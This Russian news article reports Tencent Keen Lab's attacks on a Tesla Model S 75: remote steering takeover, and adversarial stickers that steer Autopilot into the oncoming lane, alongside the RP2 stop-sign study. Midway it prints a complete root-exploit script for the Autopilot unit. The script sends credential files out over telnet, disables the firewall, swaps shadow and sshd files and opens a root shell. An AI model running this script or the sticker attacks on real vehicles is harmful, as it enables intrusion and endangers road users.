Хакеры заставили автопилот «Теслы» выехать на «встречку»

gieibick9o3pay3zeo0t9zmboxq.jpeg
Камеры main, narrow и fisheye («рыбий глаз») на автомобиле Tesla Model S 75. Они обеспечивают входные данные для нейросетей автопилота

Исследователи из компании Tencent Keen Security Lab опубликовали отчёт с описанием успешной атаки на прошивку автомобиля Tesla Model S 75, включая удалённое управление рулевым колесом и атаку с помощью «состязательных примеров» (adversarial example) на автопилот, принудив его выехать на полосу встречного движения. Tesla активно применяет нейросети для многих задач машинного зрения, чем и воспользовались злоумышленники, которые применили стандартные методы атаки на машинное зрение.

Для эксплойта исследователи использовали цепочку уязвимостей, которую впоследствии раскрыли Tesla. Автопроизводитель закрыл уязвимости патчем 2018.24.
Для атаки с удалённым управление рулевым колесом исследователям пришлось обойти несколько уровней защиты. Тем не менее, они смогли написать приложение, которое позволило подключить геймпад к мобильному устройству — и через него управлять автомобилем.

mehsssueagnned8d0ddfadbs7n4.png
Дизайн системы для удалённого управления рулевым колесом Tesla Model S 75 с геймпада

Эта атака имеет некоторые ограничения: так, можно полностью захватить контроль над автомобилем, который запаркован или едет на высокой скорости на круиз-контроле. Но если автомобиль недавно перешёл с передачи R на D, то им можно лдистанционно управлять только со скоростью не более 8 км/ч.

Ниже опубликован скрипт для получения рутового доступа к автопилоту. Скрипт работает на Model S 75 в версии прошивки 2018.6.1 и закрыт патчем 2018.24.

#!/bin/bash 

APE=192.168.90.103 
PORT=25974 

HTTP_IP=192.168.90.100 
HTTP_PORT=$((7000+$(($RANDOM%2000)))) 

#REALSSQ=ape_17.17.4.ssq #for ape2.0 375767104 
REALSSQ=ape25_2018.6.1.ssq #for ape2.5 285941824 

REALSSQ=$(readlink -f $REALSSQ) 

#rm fakessq 
rm -rf /tmp/fakessq_root 

mkdir -p /tmp/fakessq_root/deploy 
echo 1 > /tmp/fakessq_root/deploy/security-version 
cat << EOF > /tmp/fakessq_root/deploy/ape-updater 
#!/bin/sh 
iptables -F 
cat /var/etc/saccess/tesla*|telnet 192.168.90.145 6666 
cat /var/etc/saccess/tesla*|telnet 192.168.90.100 6666 
umount /etc/ssh/sshd_config 
umount /etc/shadow 
mount -o bind /mnt/.etc.ro/shadow /etc/shadow 
mount -o bind /mnt/.etc.ro/ssh/sshd_config /etc/ssh/sshd_config 
mount -o bind /etc/ssh/sshd_config /etc/ssh/sshd_config_locked 
mount -o bind /etc/shadow_unlocked /etc/shadow 
sv restart sshd 
head -c 4 /bin/ape-updater|grep "#!" && rm /bin/ape-updater && cp /deploy/ape-updater /bin/ape-updater /bin/ape-updater 
EOF 

chmod 755 /tmp/fakessq_root/deploy/ape-updater 

#Uncomment this if you want to exploit the APE from your computer with IP 192.168.90.100 
#mksquashfs /tmp/fakessq_root ./fakessq -b 131072 -all-root -no-progress > /dev/null 

SERVE1=$REALSSQ 
SERVE2=fakessq 

SERVE=$SERVE1 
while { RESPONSE="HTTP/1.1 200 OK\r\nConnection:keep-alive\r\nContent-Length: $(stat -c%s $SERVE)\r\n\r\n"; echo -en "$RESPONSE"; cat $SERVE; } | nc -l $HTTP_PORT ; do 
        SERVE=$SERVE2 
done & 

echo "reset" |nc $APE $PORT 
sleep 1 
echo "reset" |nc $APE $PORT 
sleep 1 

cat <(echo -ne "watch\ninstall http://"$HTTP_IP":"$HTTP_PORT"/$REALSSQ\n") - |nc $APE $PORT|while IFS= read -r line; do 
        echo $line 
        if [[ $line == *"got_bytes=342614080 expected_bytes=342614080 offset_bytes=0" ]] ; then 
                sleep 2 
                echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT 
        fi 
        if [[ $line == *"got_bytes=285941824 expected_bytes=285941824 offset_bytes=0" ]] ; then 
                sleep 2 
                echo "install http://"$HTTP_IP":"$HTTP_PORT"/fakessq" |nc $APE $PORT 
        fi 
        if [[ $line == *"status=complete got_bytes=4096 expected_bytes=4096 offset_bytes=0" ]] ; then 
                sleep 2 
                break 

        fi 
done 

sleep 3 
echo -ne "\n\n\nDone\nPlease Press Enter\n" 
ssh root@$APE


Автомобили Tesla используют различные нейронные сети для автопилота и других функций (таких как обнаружение дождя на ветровом стекле и включение дворников). Для примера, ниже нейросеть, которая используется для распознавания полосы по картинке с основной и дополнительной камер.

rf61xxrkbjgpw6i8cjsnc9m88eo.png

А вот архитектура нейросети для обработки картинки с панорамной камеры «рыбий глаз».

mwjufkjpea_ffr33nil9b5ljfum.png

Исследователи использовали состязательные примеры для атаки на эти нейросети.

Самым впечатляющим стал взлом системы обнаружения полосы движения. Добавив к разметке полосы шум в качестве «состязательных примеров», исследователи смогли обмануть автопилот, чтобы он полностью сбился с полосы. Более того, хакеры с помощью небольших стикеров на земле провели атаку типа «фальшивая полоса», которая обманным путём заставила автопилот выехать на полосу встречного движения. Атака работала даже в хороших погодных условиях, при дневном свете без снега, пыли или других помех.

Хакеры показали, что если нарисаовать на снимке с камеры три маленьких квадрата в определённых местах, то модуль машинного зрения с высокой степенью уверенности распознает его как линию разметки. Затем они воссоздали сценарий в физическом мире.

usg8fqryxgwrsg6et6k5usc08zi.jpeg

На схеме вверху показаны красные интерференционные стикеры на дорожном полотне, которые автопилот Tesla рассматривает как продолжение своей правой полосы, при этом игнорируя реальную левую полосу напротив перекрёстка. Когда он доберётся до середины перекрестка, то займёт настоящую левую полосу, словно это его правая полоса.

Функция распознавания полосы автопилота Tesla хорошо работает в разных погодных условиях, но всё равно уязвима для такой относительно простой атаки. Исследователи подчёркивают, что этот вид атаки прост в развёртывании, а материалы легко получить. Эксперименты доказали, что эта архитектура с использованием нейросетей имеет определённые риски для безопасности, поскольку распознавание встречной полосы движения — одна из необходимых функций для автономного вождения на дорогах общего пользования без разделительной зоны между полосами с разным направлением.


Состязательные (враждебные) примеры — очень популярный тип атаки на алгоритмы машинного обучения, особенно по обработке изображений. Нейросеть представляет собой «чёрный ящик», которая реагирует на специфические признаки, иногда непонятные для человеческой логики. Задача хакера — внести минимальные изменения в изображение, чтобы классификатор нейросети распознал это изображение как совершенно иной класс. Это делается путём максимизации активации, например, определённого фильтра свёрточной нейросети.

Особо ценится, если для человека изображение практически не меняется.

8627d414c9dbe2c4d35b06ca93e1fe0e.jpg
В работе от 2015 года исследователи из Google показали, что глубинные нейросети можно заставить отнести это изображение панды к гиббонам

Хакеры уже провели ряд успешных атак на беспилотные автомобили. В августе 2017 года специалисты из Калифорнийского университета в Беркли, Мичиганского университета и Университет штата Нью-Йорк в Стоуни-Брук разработали новый алгоритм атаки — надёжные физические пертурбации (Robust Physical Perturbations или RP2). Он очень эффективно сбивает зрение беспилотных автомобилей, роботов, мультикоптеров и любых других роботизированных систем, которые пытаются ориентироваться в окружающем пространстве.

Задачей исследователей было найти минимально возможную дельту, которая бы сбивала классификатор системы машинного обучения, который обучался на наборе данных с изображениями дорожных знаков LISA. Авторы самостоятельно сделали ряд фотографий дорожных знаков на улице в разных условиях (расстояние, углы, освещение) и дополнили набор данных для обучения.

После вычисления дельты была выявлена маска — такое место (или несколько мест) в изображении, которое наиболее надёжно вызывает пертурбации у системы машинного обучения (машинного зрения). Был проведён ряд экспериментов для проверки результатов. В основном, эксперименты проводились на стоп-сигнале (знак «STOP»), который исследователи несколькими безобидными манипуляциями превращали для машинного зрения в знак «SPEED LIMIT 45». Разработанную технику можно использовать на любых других знаках. Авторы затем испытали её на знаке поворота.

9312ac07a27b4143844545cda0cb7c95.jpg
Набор экспериментальных изображений с художественными стикерами на разных расстояниях и под разными углами: (а) 5 футов, 0 градусов; (b) 5' 15°; © 10' 0°; (d) 10' 30°; (e) 40' 0°. Обман работает на любом расстоянии и под любым углом: вместо знака «Стоп» система машинного обучения видит знак «Ограничение скорости 45 миль»

Научный коллектив разработал два варианта атаки на системы машинного зрения, которые распознают дорожные знаки. Первая атака — маленькие незаметные изменения по всей площади знака. С помощью оптимизатора Adam им удалось минимизировать маску для создания отдельных таргетированных состязательных примеров, нацеленных на конкретные дорожные знаки. В этом случае можно обманывать системы машинного обучения минимальными изменениями картинки, а люди вообще ничего не заметят. Эффективность этого типа атаки проверяли на напечатанных постерах с небольшими изменениями (сначала исследователи убедились, что система машинного зрения успешно распознаёт постеры без изменений).

Второй тип атаки — камуфляжная. Здесь система имитирует или акты вандализма, или художественные граффити, чтобы система не мешала жизни окружающих людей. Таким образом, человек-водитель за рулём сразу увидит знак поворота налево или стоп-сигнал, а робот увидит совершенно другой знак. Эффективность этого типа атаки проверяли на настоящих дорожных знаках, которые заклеивали стикерами. Камуфляж-граффити состоял из стикеров в форме слов LOVE и HATE, а камуфляж типа абстрактного искусства — из четырёх стикеров прямоугольной формы чёрного и белого цветов.


Такие «глюки» нейросети кажутся забавными, но могут серьёзно осложнить распространение беспилотного транспорта. Судя по всему, перед состязательными примерами уязвимы все нейросети. Если хулиганство с такими граффити будет обманывать машинное зрение, то беспилотные автомобили могут вообще не допустить на дороги общего пользования.

© Habrahabr.ru